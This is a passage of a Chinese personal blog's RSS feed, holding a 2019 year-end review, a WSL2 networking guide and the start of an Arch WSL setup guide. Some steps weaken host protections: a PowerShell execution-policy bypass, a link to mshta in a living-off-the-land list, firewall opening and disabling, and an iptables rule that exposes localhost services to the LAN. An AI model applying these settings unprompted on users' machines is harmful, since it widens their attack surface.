href="https://lolbas-project.github.io/lolbas/Binaries/Mshta/">https://lolbas-project.github.io/lolbas/Binaries/Mshta/</a></p><p>或者你可以执行某个 <code>Powershell</code> 文件：</p><figure class="highlight bat"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">powershell.exe -ExecutionPolicy ByPass -File "xxx.ps1"</span><br></pre></td></tr></tbody></table></figure><p>如果你还想再硬核一点，你可以通过注册表唤起自己写的一个脚本来执行你要做的事情。</p>]]>
      </content:encoded>
    </item>
    <item>
      <title>2019 年末盘点</title>
      <link>https://cat.ms/posts/2019/</link>
      <description>
        <![CDATA[<p>2019 年结束了，还真是快啊…
所以我做了啥呢？想到啥写点啥吧…</p>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/">年终总结</category>
      <pubDate>Mon, 06 Jan 2020 11:11:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>2019 年结束了，还真是快啊…所以我做了啥呢？想到啥写点啥吧…</p><span id="more"></span><h2 id="沿着时间线说起">沿着时间线说起<a class="header-anchor" href="#沿着时间线说起"></a></h2><p>去年跟老师提了一下，想做一个 QQ 机器人，能够提醒出成绩，提醒课表什么的。今年拿这个申请了一个项目，虽然只有 600 块… 但也是钱~</p><p>使用了 nonebot 这个 QQ 机器人框架，写了一个 iswust_nonebot，直接放在了 github 上面，现在已经可以查课表了，其他功能暂时还没怎么写。</p><p>机器人和获取课表的后端分离，所以又写了一个 iswust_backend，一个想做成 restful api 的基于 flask 的教务处接口，还没开源。</p><p>然后由此也引出了其他几个 Python 项目，也都开源了：</p><ul><li><p>auth_swust，模拟验证学校单点登录的网站，自动识别验证码，失败重试，对相关网站都做了解析 js 之类的。</p></li><li><p>course2ics，课表生成日历，生成为一个 ics 格式的文件，然后可以传到谷歌日历 / Outlook 上。</p></li><li><p>time_convert，中文时间转成计算机的时间格式。这个不能说算是自己写的项目啦，只是原项目不维护了，为了自己的需要只能修修重新打包了。</p></li></ul><p>还有就是 <a href="http://acm.swust.edu.cn">OJ</a> 前端的日常维护吧，也缝缝补补敲敲打打了这么多行代码。</p><p><img data-src="https://i.cat.ms/posts/2019-summary/image.png" alt="image.png"></p><p>看的时候自己都吓到了，lines changed 35W 行。</p><h3 id="其他的一些小事">其他的一些小事<a class="header-anchor" href="#其他的一些小事"></a></h3><p>给 Ant Design 提了一个 Card 组件的 PR，被接受了~</p><p>报名了 CCF - CSP，成绩出来惨不忍睹。</p><p>开始认真学习 Python。</p><h3 id="其他的一些小项目">其他的一些小项目<a class="header-anchor" href="#其他的一些小项目"></a></h3><ul><li><p>数据结构的课程作业，React 写的俄罗斯方块。<a href="https://artin.coding.net/p/react-tetris/d/react-tetris/git">代码</a>，<a href="http://dxjvt9.coding-pages.com">预览</a></p></li><li><p>数据可视化课的课程作业，餐饮数据可视化。<a href="https://artin.coding.net/p/data_visualization/d/data_visualization/git">代码及预览</a></p></li></ul><p>今年在课堂上其实是写了非常多的代码的，除了上面这两个能预览的，还有 C/C++/算法分析/数据挖掘/搜索引擎/视觉检测/编译原理，都是今年一年学的。</p><h2 id="今年最有成就感的事情是什么？">今年最有成就感的事情是什么？<a class="header-anchor" href="#今年最有成就感的事情是什么？"></a></h2><p>应该是上半年的学习成绩吧，班级第一年级第三哦~ 虽然说有补修的成绩算是个 bug 了，但是还是很开心很开心。</p><h2 id="看的书">看的书<a class="header-anchor" href="#看的书"></a></h2><p>最有印象的一本就是 <em>Python tricks</em>，讲的很好，学到了很多东西。</p><h2 id="看的剧">看的剧<a class="header-anchor" href="#看的剧"></a></h2><p>今年貌似看了很多剧，但是现在要我说我啥也想不起来了几个了，破冰行动，暖暖的小时光，杨紫演的那个电竞的剧。今年很喜欢的女明星是刑菲，敲可爱的。</p><h2 id="去哪了">去哪了<a class="header-anchor" href="#去哪了"></a></h2><p>春节好像是在成都过的，暑假在学校过的。</p><h2 id="总的来说">总的来说<a class="header-anchor" href="#总的来说"></a></h2><p>感觉自己学了很多东西，其实啥也没学好。</p>]]>
      </content:encoded>
    </item>
    <item>
      <title>WSL2 的一些网络访问问题</title>
      <link>https://cat.ms/posts/wsl2-network-tricks/</link>
      <description>
        <![CDATA[<p>快考完试了，这个学期一直在使用 WSL 在进行开发，无论是 Python/C/React 都是用 VSCode Remote WSL 进行开发的，体验非常好。</p>
<blockquote>
<p>无特别说明，本文以下内容所提到的 WSL 皆指 WSL2。</p>
</blockquote>
<p>这篇文章大概有以下内容：</p>
<ol>
<li>WSL2 中连接到主机代理让 WSL2 里能连上 Windows 上的代理软件</li>
<li>主机访问 WSL2
这里主要是靠设置 hosts，让一个域名一直解析到 WSL2 的 ip 上。</li>
<li>局域网访问 WSL2
局域网内访问你的 Windows 主机，Windows 转发端口到 WSL2 上</li>
</ol>
<p>还有几个前置知识：</p>
<ol>
<li>Windows 和 WSL2 算是在同一个局域网内，这个局域网是由 Hyper-V 创建的。</li>
<li>WSL2 使用的网络适配器是 ‘Default Hyper-V Switch’，这个适配器每次重启都会被删除重建，这就是 WSL2 为什么 IP 不固定的原因。</li>
<li>WSL2 内有些微软特意做的东西：
<ol>
<li>向 <strong>WSL2 的 IP</strong> 发送的请求都会被转发到 <strong>Windows 的 IP</strong> 上，但是这个时灵时不灵。</li>
</ol>
</li>
</ol>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/WSL/">WSL</category>
      <category domain="https://cat.ms/tags/Linux/">Linux</category>
      <category domain="https://cat.ms/tags/%E4%BB%A3%E7%90%86/">代理</category>
      <pubDate>Sat, 28 Dec 2019 12:39:31 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>快考完试了，这个学期一直在使用 WSL 在进行开发，无论是 Python/C/React 都是用 VSCode Remote WSL 进行开发的，体验非常好。</p><blockquote><p>无特别说明，本文以下内容所提到的 WSL 皆指 WSL2。</p></blockquote><p>这篇文章大概有以下内容：</p><ol><li>WSL2 中连接到主机代理让 WSL2 里能连上 Windows 上的代理软件</li><li>主机访问 WSL2这里主要是靠设置 hosts，让一个域名一直解析到 WSL2 的 ip 上。</li><li>局域网访问 WSL2局域网内访问你的 Windows 主机，Windows 转发端口到 WSL2 上</li></ol><p>还有几个前置知识：</p><ol><li>Windows 和 WSL2 算是在同一个局域网内，这个局域网是由 Hyper-V 创建的。</li><li>WSL2 使用的网络适配器是 ‘Default Hyper-V Switch’，这个适配器每次重启都会被删除重建，这就是 WSL2 为什么 IP 不固定的原因。</li><li>WSL2 内有些微软特意做的东西：<ol><li>向 <strong>WSL2 的 IP</strong> 发送的请求都会被转发到 <strong>Windows 的 IP</strong> 上，但是这个时灵时不灵。</li></ol></li></ol><span id="more"></span><h2 id="WSL2-连接到主机代理">WSL2 连接到主机代理<a class="header-anchor" href="#WSL2-连接到主机代理"></a></h2><p>其实这个问题我在之前那篇<a href="/posts/install-arch-wsl/#zsh-%E7%9A%84%E5%85%B6%E4%BB%96%E7%9A%84%E4%B8%80%E4%BA%9B%E9%85%8D%E7%BD%AE">配置 ArchWSL 的文章</a>里简单提了一下，大概流程如下：</p><ol><li>获取 Windows 的 ip</li><li>Windows 上的代理软件允许局域网访问</li><li>设置 WSL2 的代理</li></ol><h3 id="获取主机的-ip">获取主机的 ip<a class="header-anchor" href="#获取主机的-ip"></a></h3><p>由于 WSL2 是使用 Hyper-V 虚拟机实现的，也就不能跟 Windows 共享同一个 localhost 了，而且每次重启 ip 都会变。目前在 WSL 中可以用以下两个命令来获取主机的 ip:</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">ip route | grep default | awk <span class="string">'{print $3}'</span></span><br><span class="line"><span class="comment"># 或者</span></span><br><span class="line"><span class="built_in">cat</span> /etc/resolv.conf | grep nameserver | awk <span class="string">'{ print $2 }'</span></span><br></pre></td></tr></tbody></table></figure><p>原理可见: <a href="https://docs.microsoft.com/en-us/windows/wsl/wsl2-ux-changes#accessing-network-applications">User Experience Changes Between WSL 1 and WSL 2</a></p><p><img data-src="https://i.cat.ms/posts/wsl2-network-tricks/get_wsl_ip.png" alt="image.png"></p><h3 id="设置代理">设置代理<a class="header-anchor" href="#设置代理"></a></h3><p>Windows 的 IP 都已经拿到了，比如说我的代理软件是监听在 7890 端口的，那我只要设置代理链接为 <code>{windows_ip}:7890</code> 即可。</p><p>如果无法连接的话，请你检查一下你 Windows 上的代理软件允许局域网访问了吗。</p><p>还是没法连接的话有可能是 <strong>Windows 防火墙</strong>的原因，我是把防火墙关了的。</p><hr><p>感谢评论区 <a href="https://disqus.com/by/xing_fang/">Xing Fang</a> 以及 <a href="https://disqus.com/by/twinmegami/">twinmegami</a> 给的开放防火墙的命令。</p><p>命令来源：<a href="https://github.com/microsoft/WSL/issues/4585">https://github.com/microsoft/WSL/issues/4585</a></p><figure class="highlight ps1"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 直接放开 `vEthernet (WSL)` 这张网卡的防火墙</span></span><br><span class="line"><span class="built_in">New-NetFirewallRule</span> <span class="literal">-DisplayName</span> <span class="string">"WSL"</span> <span class="literal">-Direction</span> Inbound <span class="literal">-InterfaceAlias</span> <span class="string">"vEthernet (WSL)"</span> <span class="literal">-Action</span> Allow</span><br></pre></td></tr></tbody></table></figure><hr><p>还有这篇<strong>必读</strong>的文章：</p><ul><li><a href="https://blog.skk.moe/post/enable-proxy-on-ubuntu/">Ubuntu「一键」设置代理</a></li></ul><p>作者详细的介绍了自己是怎么在 WSL 中使用代理的。</p><p>顺着作者的思路，我也实现了我自己的一个 <strong>「一键」设置代理</strong> 的脚本：</p><p><a href="#%E4%B8%80%E9%94%AE%E8%AE%BE%E7%BD%AE%E4%BB%A3%E7%90%86">「一键」设置代理</a></p><h3 id="使用网卡代理">使用网卡代理<a class="header-anchor" href="#使用网卡代理"></a></h3><p>当然，还有一个更方便的就是使用网卡代理，不用再设置什么 <code>HTTP_PROXY</code> 了，直接网卡级别的代理。</p><p>我使用的是 Clash 提供的 <a href="https://docs.cfw.lbyczf.com/contents/tun.html">TUN 模式</a>。</p><p>Clash 会创建一张网卡，接管系统的流量。</p><p><img data-src="https://i.cat.ms/posts/wsl2-network-tricks/clash_tun.png" alt="image.png"></p><p>这样就不用设置任何东西了，开启网卡代理后，整个系统的流量都会走网卡。</p><p>你也可以使用下面这些：</p><ul><li>cfw 提供的 <a href="https://docs.cfw.lbyczf.com/contents/tap.html">TAP 模式</a></li><li><a href="https://github.com/NetchX/Netch/">Netch</a><br>Netch 是一款 Windows 平台的开源游戏加速工具，Netch 可以实现类似 SocksCap64 那样的进程代理，也可以实现 SSTap 那样的全局 TUN / TAP 代理，和 Shadowsocks-Windows 那样的本地 Socks5，HTTP 和系统代理</li></ul><h2 id="主机访问-WSL2">主机访问 WSL2<a class="header-anchor" href="#主机访问-WSL2"></a></h2><p>WSL2 的 IP 会变，所以怎么随时随地的都能访问到 WSL2 呢？看了很多 issue，解决方案各种各样。</p><p>这个问题困扰了我好久，因为在 WSL2 中开发，有时候就启动一些 web 应用，然后 localhost 又没法访问到… 官方说 Windows 版本更新到 18945 之后的，程序 listen 到 <code>0.0.0.0</code> 上之后，在 Windows 中就可以通过 localhost 访问了，而我在测试的时候发现很多时候还是不生效，也许需要看脸吧。</p><h3 id="自动设置-hosts-关联到-WSL-的-IP">自动设置 hosts 关联到 WSL 的 IP<a class="header-anchor" href="#自动设置-hosts-关联到-WSL-的-IP"></a></h3><p><strong>解决方案</strong>就是在 WSL 更新 IP 的时候，自动把 ip 加到 hosts 中，用自己喜欢的一个域名解析上去。</p><p>请看：</p><p>在 GitHub 上找到了这个 issue：<a href="https://github.com/microsoft/WSL/issues/4150">[WSL 2] NIC Bridge mode 🖧 (Has Workaround🔨) #4150</a>，根据回复有了思路。</p><p>思路就是使用<strong>任务计划程序</strong>执行 powershell 脚本，来做一些事。</p><p>我们需要写一个脚本（<a href="https://github.com/bytemain/dotfiles/blob/master/windows/wsl2.ps1">地址</a>）实现我们想要的功能。</p><p>脚本的功能大概是：</p><ol><li>读取 WSL 和 Windows 的 IP</li><li>将 IP 和想设定的域名写入 Windows 的 <code>hosts</code> 文件中。</li></ol><p>这样你就能用自己定义的域名来访问两个系统了，wsl2 能访问 <code>win.local</code> 是因为它会向主机查询 dns（因为 wsl2 默认的 nameserver 指向了 windows 主机），主机会把 hosts 中的域名直接缓存起来然后直接作为一个 dns 记录。</p><p>关键来了，我们要使用<strong>任务计划程序</strong>在 <code>WSL</code> 要更新 IP 的时候执行这个脚本。</p><p>具体<strong>在 <code>WSL</code> 要更新 IP 时运行特定脚本</strong>步骤如下：</p><ol><li>将<a href="https://github.com/bytemain/dotfiles/blob/master/windows/wsl2.ps1">链接</a>中的代码保存到本地文件中，文件名后缀设为 <code>.ps1</code>。</li><li>打开<strong>事件查看器</strong>。在小娜的搜索框里搜一下就能打开了。</li><li>点击 <strong>Windows 日志</strong> -&gt; <strong>系统</strong>。</li><li>找到 <code>Hyper-V-VmSwith</code> 事件，查看有没有内容类似 <code>Port ... (Friendly Name: ...) successfully created on switch ... (Friendly Name: WSL).</code>的事件。</li><li>右键单击该事件，选择 <strong>将任务附加到该事件</strong>。</li><li><strong>操作</strong> 选择 <strong>启动程序</strong>，<strong>程序</strong>中填 <code>powershell</code>，<strong>参数</strong>填 <code>-file 你的脚本地址的绝对地址</code> 就好了。参数中加上 <code>-WindowStyle Hidden</code> 可以让 Powershell 执行该脚本时隐藏窗口。</li><li>然后在<strong>任务计划程序</strong>左侧资源栏中找到：<strong>事件查看器任务</strong> -&gt; <strong>你刚创建的任务</strong>，右键<strong>属性</strong>，然后勾选下面的复选框：<strong>使用最高权限运行</strong>。</li></ol><p>看看效果：</p><p>在 WSL 中启动一个 http 服务器：<img data-src="https://i.cat.ms/posts/wsl2-network-tricks/wsl_http_server.png" alt="wsl_http_server.png"></p><p>我们在 win 下请求一下：<img data-src="https://i.cat.ms/posts/wsl2-network-tricks/curl_wsl.png" alt="curl_wsl.png"></p><p>Awesome! 成功啦</p><p>你也可以使用下面这个小工具来实现类似的功能：<a href="https://github.com/shayne/go-wsl2-host"><img data-src="https://gh-card.dev/repos/shayne/go-wsl2-host.svg" alt="shayne/go-wsl2-host"></a></p><p>这是一个用 Go 写的小工具，会创建一个 Windows 服务，Automatically update your Windows hosts file with the WSL2 VM IP address.</p><h3 id="让-Windows-访问到-WSL-中监听本地的应用">让 Windows 访问到 WSL 中监听本地的应用<a class="header-anchor" href="#让-Windows-访问到-WSL-中监听本地的应用"></a></h3><blockquote><p>来源: <a href="https://github.com/shayne/wsl2-hacks">https://github.com/shayne/wsl2-hacks</a>见 README 内的 Access localhost ports from Windows 一节</p></blockquote><p>上面已经做到了 Windows 下根据固定域名访问 WSL 中监听 <code>0.0.0.0</code> 的应用程序，那么对于 WSL 中一些默认监听 <code>127.0.0.1</code> 的程序，咋办呢？</p><p>监听 <code>127.0.0.1</code> 的图解：<img data-src="https://i.cat.ms/posts/wsl2-network-tricks/win_wsl_request_bofore.png" alt="image.png"></p><p>所以让请求 <code>0.0.0.0</code> 的请求都转发到请求 <code>127.0.0.1</code> 上。</p><p>现在：<img data-src="https://i.cat.ms/posts/wsl2-network-tricks/win_wsl_request_now.png" alt="image.png"></p><p>WSL 中执行两条命令（花括号里面的两条）就能做到，增加 <code>iptables</code> 的路由规则：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="title">expose_local</span></span>(){</span><br><span class="line">    <span class="built_in">sudo</span> sysctl -w net.ipv4.conf.all.route_localnet=1 &gt;/dev/null 2&gt;&amp;1</span><br><span class="line">    <span class="built_in">sudo</span> iptables -t nat -I PREROUTING -p tcp -j DNAT --to-destination 127.0.0.1</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><h3 id="Windows-局域网内其他机器访问-WSL2">Windows 局域网内其他机器访问 WSL2<a class="header-anchor" href="#Windows-局域网内其他机器访问-WSL2"></a></h3><p><a href="https://github.com/microsoft/WSL/issues/4150#issuecomment-504209723">[WSL 2] NIC Bridge mode 🖧 (Has Workaround🔨) #4150</a>上面提到过的这个 issue 里其实就是解决的局域网访问的问题，将需要用的端口通过 Windows 代理转发到 WSL 中。</p><p>原理也类似于上面的两幅图。</p><p>如果你用了主机访问 WSL2 里的那个脚本，就可以跳过这一节了，因为那个脚本包括了这一节的内容了。</p><p>关键代码如下：</p><p>不懂的请看注释。</p><figure class="highlight powershell"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 获取 Windows 和 WSL2 的 ip</span></span><br><span class="line"><span class="variable">$winip</span> = bash.exe <span class="literal">-c</span> <span class="string">"ip route | grep default | awk '{print `$3}'"</span></span><br><span class="line"><span class="variable">$wslip</span> = bash.exe <span class="literal">-c</span> <span class="string">"hostname -I | awk '{print `$1}'"</span></span><br><span class="line"><span class="variable">$found1</span> = <span class="variable">$winip</span> <span class="operator">-match</span> <span class="string">'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}'</span>;</span><br><span class="line"><span class="variable">$found2</span> = <span class="variable">$wslip</span> <span class="operator">-match</span> <span class="string">'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}'</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( !(<span class="variable">$found1</span> <span class="operator">-and</span> <span class="variable">$found2</span>) ){</span><br><span class="line">  <span class="comment"># 如果没找到 wsl 的 ip, 就退出执行</span></span><br><span class="line">  <span class="built_in">echo</span> <span class="string">"The Script Exited, the ip address of WSL 2 cannot be found"</span>;</span><br><span class="line">  <span class="keyword">exit</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment"># 你需要映射到局域网中端口</span></span><br><span class="line"><span class="variable">$ports</span>=<span class="selector-tag">@</span>(<span class="number">80</span>,<span class="number">443</span>,<span class="number">10000</span>,<span class="number">3000</span>,<span class="number">5000</span>,<span class="number">27701</span>,<span class="number">8080</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment"># 监听的 ip，这么写是可以来自局域网</span></span><br><span class="line"><span class="variable">$addr</span>=<span class="string">'0.0.0.0'</span>;</span><br><span class="line"><span class="comment"># 监听的端口，就是谁来访问自己</span></span><br><span class="line"><span class="variable">$ports_a</span> = <span class="variable">$ports</span> <span class="operator">-join</span> <span class="string">","</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 移除旧的防火墙规则</span></span><br><span class="line"><span class="built_in">iex</span> <span class="string">"Remove-NetFireWallRule -DisplayName 'WSL 2 Firewall Unlock' "</span> | <span class="built_in">Out-Null</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 允许防火墙规则通过这些端口</span></span><br><span class="line"><span class="built_in">iex</span> <span class="string">"New-NetFireWallRule -DisplayName 'WSL 2 Firewall Unlock' -Direction Outbound -LocalPort <span class="variable">$ports_a</span> -Action Allow -Protocol TCP"</span>  | <span class="built_in">Out-Null</span></span><br><span class="line"><span class="built_in">iex</span> <span class="string">"New-NetFireWallRule -DisplayName 'WSL 2 Firewall Unlock' -Direction Inbound -LocalPort <span class="variable">$ports_a</span> -Action Allow -Protocol TCP"</span>  | <span class="built_in">Out-Null</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用 portproxy 让 Windows 转发端口</span></span><br><span class="line"><span class="comment"># https://docs.microsoft.com/en-us/windows-server/networking/technologies/netsh/netsh-interface-portproxy</span></span><br><span class="line"><span class="keyword">for</span>( <span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> <span class="operator">-lt</span> <span class="variable">$ports</span>.length; <span class="variable">$i</span>++ ){</span><br><span class="line">  <span class="variable">$port</span> = <span class="variable">$ports</span>[<span class="variable">$i</span>];</span><br><span class="line">  <span class="built_in">iex</span> <span class="string">"netsh interface portproxy delete v4tov4 listenport=<span class="variable">$port</span> listenaddress=<span class="variable">$addr</span>"</span>  | <span class="built_in">Out-Null</span></span><br><span class="line">  <span class="built_in">iex</span> <span class="string">"netsh interface portproxy add v4tov4 listenport=<span class="variable">$port</span> listenaddress=<span class="variable">$addr</span> connectport=<span class="variable">$port</span> connectaddress=<span class="variable">$wslip</span>"</span>  | <span class="built_in">Out-Null</span></span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>代码里第 2、3 行的 <code> `$</code> 的意思是让 Powershell 执行脚本时不转义 <code>$</code>。<br>如果你执行代码报错，可以试试在 <code> `$</code> 前面加上一个 <code>\</code>：<code>\`$</code>。</p><p>Powershell 语法里 <code>@()</code> 就是数组的意思，这个脚本遍历你设置的想暴露到局域网的端口的数组，然后用 portproxy 反代 Windows 的端口到 WSL 中。</p><h2 id="一键设置代理">一键设置代理<a class="header-anchor" href="#一键设置代理"></a></h2><p>先上效果：<img data-src="https://i.cat.ms/posts/wsl2-network-tricks/proxy.png" alt="image.png">而且还可以为 git 以及 ssh 同时设置代理。</p><p>代码见:<a href="https://github.com/bytemain/dotfiles/blob/master/ubuntu_wsl/zshrc">https://github.com/bytemain/dotfiles/blob/master/ubuntu_wsl/zshrc</a></p><p>重点见里面的 <code>proxy</code>, <code>unpro</code>, <code>getIp</code>, <code>proxy_git</code>, <code>proxy_npm</code> 等函数。</p><p>这样我们执行 proxy 的时候，就能一键连接到主机的代理上了。</p><p>有用的话别忘了给个 star，谢谢~</p>]]>
      </content:encoded>
    </item>
    <item>
      <title>安装 Arch WSL 并配置</title>
      <link>https://cat.ms/posts/install-arch-wsl/</link>
      <description>
        <![CDATA[<p>用 windows 写代码最想吐槽的就是 cmd 了！WSL 真的就是吾等救星。<br>
之前使用的是商店里的 Ubuntu WSL ，没感觉到有啥不好的，然鹅试了 Arch WSL 以后，能体会到 Ubuntu WSL 的龟速…
Arch WSL 真的是秒开哦~
链接拿去：
<a href="https://github.com/yuk7/ArchWSL"><img src="https://gh-card.dev/repos/yuk7/ArchWSL.svg" alt="yuk7/ArchWSL"></a></p>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/WSL/">WSL</category>
      <category domain="https://cat.ms/tags/Linux/">Linux</category>
      <category domain="https://cat.ms/tags/Arch-Linux/">Arch Linux</category>
      <category domain="https://cat.ms/tags/ZSH/">ZSH</category>
      <pubDate>Fri, 12 Jul 2019 01:42:25 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>用 windows 写代码最想吐槽的就是 cmd 了！WSL 真的就是吾等救星。<br>之前使用的是商店里的 Ubuntu WSL ，没感觉到有啥不好的，然鹅试了 Arch WSL 以后，能体会到 Ubuntu WSL 的龟速…Arch WSL 真的是秒开哦~链接拿去：<a href="https://github.com/yuk7/ArchWSL"><img data-src="https://gh-card.dev/repos/yuk7/ArchWSL.svg" alt="yuk7/ArchWSL"></a></p><span id="more"></span><h2 id="下载安装-Arch-WSL">下载安装 Arch WSL<a class="header-anchor" href="#下载安装-Arch-WSL"></a></h2><p>这里是作者的安装教程：<a href="https://github.com/yuk7/ArchWSL/wiki">https://github.com/yuk7/ArchWSL/wiki</a></p><p>我选择的是传统方式安装（不使用 AppX 方式）：</p><ol><li>在 <a href="https://github.com/yuk7/ArchWSL/releases">Release</a> 下载最新版的 <code>Arch.zip</code></li><li>解压到 C 盘根目录，(一定要在 C 盘，其他位置也可以)，但是你要有该目录的读写权限，所以不能放到 <code>Program Files</code> 等目录中。</li><li>双击解压好的 <code>Arch.exe</code> 进行安装，这个 <strong>.exe 的名字</strong> 就是要创建的 <strong>WSL 实例的名字</strong>，改不同的名字就能创建多个 Arch WSL。</li></ol><p>安装好之后，进行配置。</p><h2 id="配置软件仓库">配置软件仓库<a class="header-anchor" href="#配置软件仓库"></a></h2><h3 id="Arch-Linux-软件仓库国内镜像">Arch Linux 软件仓库国内镜像<a class="header-anchor" href="#Arch-Linux-软件仓库国内镜像"></a></h3><p>编辑 <code>/etc/pacman.d/mirrorlist</code>，里面有注释了的 <code>China</code> 的镜像，选一个你喜欢的取消注释就可以了。然后更新软件包缓存，执行： <code>pacman -Syyu</code></p><p>其他跟镜像有关的可以看这里：</p><p><a href="https://wiki.archlinux.org/index.php/Mirrors_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)">https://wiki.archlinux.org/index.php/Mirrors_(简体中文)</a></p><h3 id="添加-ArchlinuxCN-源">添加 ArchlinuxCN 源<a class="header-anchor" href="#添加-ArchlinuxCN-源"></a></h3><blockquote><p>Arch Linux 中文社区仓库 是由 Arch Linux 中文社区驱动的非官方用户仓库。包含中文用户常用软件、工具、字体 / 美化包等。</p><p>官方仓库地址：<a href="http://repo.archlinuxcn.org">http://repo.archlinuxcn.org</a></p></blockquote><p>这里我使用的是腾讯的镜像： <a href="http://mirrors.cloud.tencent.com/archlinuxcn/">http://mirrors.cloud.tencent.com/archlinuxcn/</a></p><p>使用方法：<br>在 <code>/etc/pacman.conf</code> 文件末尾添加以下两行：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[archlinuxcn]</span><br><span class="line">Server = https://mirrors.cloud.tencent.com/archlinuxcn/$arch</span><br></pre></td></tr></tbody></table></figure><p>之后安装 <code>archlinuxcn-keyring</code> 包导入 GPG key:</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">pacman-key --init</span><br><span class="line">pacman-key --populate</span><br><span class="line">pacman -Syy &amp;&amp; pacman -S archlinuxcn-keyring</span><br></pre></td></tr></tbody></table></figure><h3 id="安装-AUR-助手-yay">安装 AUR 助手 yay<a class="header-anchor" href="#安装-AUR-助手-yay"></a></h3><blockquote><p>Arch User Repository（常被称作 AUR），是一个为 Arch 用户而生的社区驱动软件仓库。Debian / Ubuntu 用户的对应类比是 PPA。</p><p>AUR 包含了不直接被 Arch Linux 官方所背书的软件。如果有人想在 Arch 上发布软件或者包，它可以通过这个社区仓库提供。这让最终用户们可以使用到比默认仓库里更多的软件。</p><p>所以你该如何使用 AUR 呢？简单来说，你需要另外的工具以从 AUR 中安装软件。Arch 的包管理器 pacman 不直接支持 AUR。那些支持 AUR 的 “特殊工具” 我们称之为 AUR 助手。</p></blockquote><p>我们想从 AUR 仓库中安装东西时，就需要 AUR 助手，这里推荐 <code>yay</code>.<a href="https://github.com/Jguer/yay"><img data-src="https://gh-card.dev/repos/Jguer/yay.svg" alt="Jguer/yay"></a></p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pacman -S yay</span><br></pre></td></tr></tbody></table></figure><p>安装完 <code>yay</code>，<code>git</code> 也会被一起装好。</p><p>检查本地软件包的更新:</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">yay</span><br></pre></td></tr></tbody></table></figure><p>换成国内 AUR 源:</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># yay --save --aururl [url]</span></span><br><span class="line">yay --save --aururl https://aur.tuna.tsinghua.edu.cn</span><br></pre></td></tr></tbody></table></figure><p>yay 的配置文件路径：<code>~/.config/yay/config.json</code></p><p>查看 yay 配置：</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">yay -P -g</span><br></pre></td></tr></tbody></table></figure><p>查看 yay 帮助：</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">man yay</span><br></pre></td></tr></tbody></table></figure><h2 id="创建-Arch-普通用户">创建 Arch 普通用户<a class="header-anchor" href="#创建-Arch-普通用户"></a></h2><p>刚安装好的 Arch 是 root 用户，为了不至于权限太大误伤系统，可以先创建一个普通用户。</p><p>添加一个用户：</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">useradd -m artin</span><br><span class="line"><span class="comment"># -m 参数能帮助创建 /home/artin</span></span><br></pre></td></tr></tbody></table></figure><p>设置用户密码：</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">passwd artin</span><br></pre></td></tr></tbody></table></figure><p>在下一步之前，可以先把系统默认编辑器设置成 vim，个人觉得还是比 vi 和 nano 好用多了…</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span 